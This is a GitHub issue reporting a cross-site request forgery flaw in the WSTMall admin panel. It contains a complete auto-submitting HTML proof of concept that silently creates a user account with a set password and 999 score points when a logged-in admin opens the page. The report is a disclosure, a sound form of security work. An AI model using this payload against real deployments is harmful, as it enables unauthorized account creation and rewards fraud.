Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CSRF that can add user account #4

Open
chenrui1896 opened this issue Jun 28, 2018 · 0 comments
Open

CSRF that can add user account #4

chenrui1896 opened this issue Jun 28, 2018 · 0 comments

Comments

@chenrui1896
Copy link

chenrui1896 commented Jun 28, 2018

This vulnerability was found at the admin page.

image

As we can see,2 users' integral are 999. It was created by CSRF.

The POC is "a.html"as follow. .After admin login,if he open "a.html',it will add an user and the user's score is 999!!!

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:82/wstmall/index.php?m=Admin&c=Users&a=edit" method="POST">
      <input type="hidden" name="loginName" value="csrf_test" />
      <input type="hidden" name="loginPwd" value="123456" />
      <input type="hidden" name="userName" value="cr" />
      <input type="hidden" name="userQQ" value="" />
      <input type="hidden" name="userScore" value="999" />
      <input type="hidden" name="userTotalScore" value="99992" />
      <input type="hidden" name="userPhone" value="" />
      <input type="hidden" name="userPhoto" value="" />
      <input type="hidden" name="userStatus" value="1" />
      <input type="hidden" name="userSex" value="1" />
      <input type="hidden" name="userEmail" value="" />
      <input type="hidden" name="id" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script> document.forms[0].submit(); </script>
  </body>
</html>

Attacker can use this to earn integral maliciously

image

@chenrui1896 chenrui1896 changed the title CSRF that can add or delete user account CSRF that can add user account Jun 28, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant